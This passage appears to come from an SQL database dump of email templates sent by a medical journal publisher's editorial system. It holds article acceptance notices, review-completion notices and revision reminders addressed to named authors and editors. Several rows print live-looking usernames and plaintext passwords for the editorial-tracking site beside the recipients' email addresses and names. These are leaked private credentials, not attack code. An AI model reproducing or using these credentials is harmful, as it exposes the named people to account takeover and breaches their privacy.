Functional mobility in Chronic Ambulatory Stroke Patients</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Isha Akulwar</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-4134</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',4134,'2020-07-25',75),(1726,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4187</b><br />\r\n            <br />\r\n            Article Title: <b>Hematologic Predictors of Endovascular Retreatment for Recurrent Vasospasm in Aneurysmal Subarachnoid Hemorrhage</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Gordon</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','wgordon@kumc.edu',4187,'2020-07-26',75),(1727,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4005</b><br />\r\n            <br />\r\n            Article Title: <b>USE OF INTRAVENTRICULAR VANCOMYCIN IN NEONATAL MENINGITIS  DUETO ELIZABETHKINGILLA MENINGOSEPTICA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>jain</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dr.mjain.10@gmail.com',4005,'2020-07-26',75),(1728,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4322</b><br />\r\n            <br />\r\n            Article Title: <b>The Impact of Coronavirus Disease 2019 on Outpatient Neurology</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Al-Chalabi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Mustafa.Alchalabi@utoledo.edu',4322,'2020-07-26',75),(1733,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-4138</b><br />\r\n            <br />\r\n            Article Title: <b>A Very Rare Cause of Bowel Obstruction in Children: Colocolonic Intussusception</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Baykara</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','asbaykara@hotmail.com',4138,'2020-07-27',319),(1736,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4134</b><br />\r\n            <br />\r\n            Article Title: <b>Effect of Rigid Ankle Foot Orthosis on Postural Control and Functional mobility in Chronic Ambulatory Stroke Patients</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Akulwar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drishasa@yahoo.co.in',4134,'2020-07-27',75),(1744,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5299</b><br />\r\n            <br />\r\n            Article Title: <b>POST-TRAUMA TESTICULAR ECTOPIA IN THE SCROTAL REGION: CASE REPORT</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Modesto Leite Rolim Neto</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-5299</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jennifer<br />\r\n            <b>Password:</b> rTMjHpr8<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jencook@email.arizona.edu',5299,'2020-07-28',85),(1745,'<p>Ref.:  Ms. No. : <b>ipaom-20-4969</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Case Report of 78 &acirc;&euro;&ldquo;year-old man with meningitis, Pulmonary Thromboembolism &amp;SARS-Coronavirus-2infection</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Abbaspourrad</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-4969</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>zahra</b><br />\r\npassword: <b>lLkDfoUh</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','zahra_med2002@yahoo.com',4969,'2020-07-28',85),(1746,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-4215</b><br />\r\n            <br />\r\n            Article Title: <b>Recurrent COVID-19 pneumonia in chronic lymphocytic leukemia patient </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Fakhim</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Fakhiim.hamed@gmail.com',4215,'2020-07-28',248),(1747,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-4280</b><br />\r\n            <br />\r\n            Article Title: <b>Foot-and-Mouth disease in cattle</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Adeel Ahmed</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-4280</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',4280,'2020-07-28',248),(1748,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-4531</b><br />\r\n            <br />\r\n            Article Title: <b>COVID-19: A REVIEW ABOUT ONE OF THE WORST KNOWN PANDEMICS OF THE CENTURY</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Chiranjit Das</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-4531</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',4531,'2020-07-28',248),(1777,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-4251</b><br />\r\n            <br />\r\n            Article Title: <b>Face lifting by suspension sutures </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>ALkhawaldeh </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','skhawaldah@hotmail.com',4251,'2020-07-31',319),(1778,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-4637</b><br />\r\n            <br />\r\n            Article Title: <b>Ovarian sclerosing stromal tumour: a challenging diagnosis during pregnancy</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sousa</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','filipabcsousa@gmail.com',4637,'2020-07-31',319),(1779,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-4885</b><br />\r\n            <br />\r\n            Article Title: <b>Short Term Outcome in Operative Management of Posterior Wall and or Posterior Column Fractures of Acetabulum.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <strong>Jawed</strong>&nbsp;<strong>Bhat</strong><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bhatjawed@gmail.com',4885,'2020-07-31',319),(1781,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5299</b><br />\r\n            <br />\r\n            Article Title: <b>POST-TRAUMA TESTICULAR ECTOPIA IN THE SCROTAL REGION: CASE REPORT</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rolim Neto</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','modesto.neto@ufca.edu.br',5299,'2020-07-31',85),(1783,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5112</b><br />\r\n            <br />\r\n            Article Title: <b>Congenital adrenal hyperplasia and the COVID-19 pandemic: &acirc;&euro;&tilde;&acirc;&euro;&tilde;The calm before storm&acirc;&euro;&trade;&acirc;&euro;&trade;</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Al Jabri</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dr_aida_s@hotmail.com',5112,'2020-08-01',85),(1784,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-3755</b><br />\r\n            <br />\r\n            Article Title: <b>More than half of health professionals working in peripheral areas of Southeast Ethiopia are intended to leave their work</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Waju Beyene Salgedo</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Islas Salinas</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iphspr-20-3755</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> dr._patricia<br />\r\n            <b>Password:</b> SD84buCN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','patricia.islas@uacj.mx',3755,'2020-08-02',84),(1785,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-3755</b><br />\r\n            <br />\r\n            Article Title: <b>More than half of health professionals working in peripheral areas of Southeast Ethiopia are intended to leave their work</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsprj.com/\" target=\"_blank\">Health Systems and Policy Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Salgedo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Systems and Policy Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','wabeyene@yahoo.com',3755,'2020-08-02',84),(1790,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5202</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluation of the antibacterial activity of ananas comosus (pineapple) extract against selected gram negative bacteria</b><br />\r\n            <br />\r\n            Journal Title: <b><a 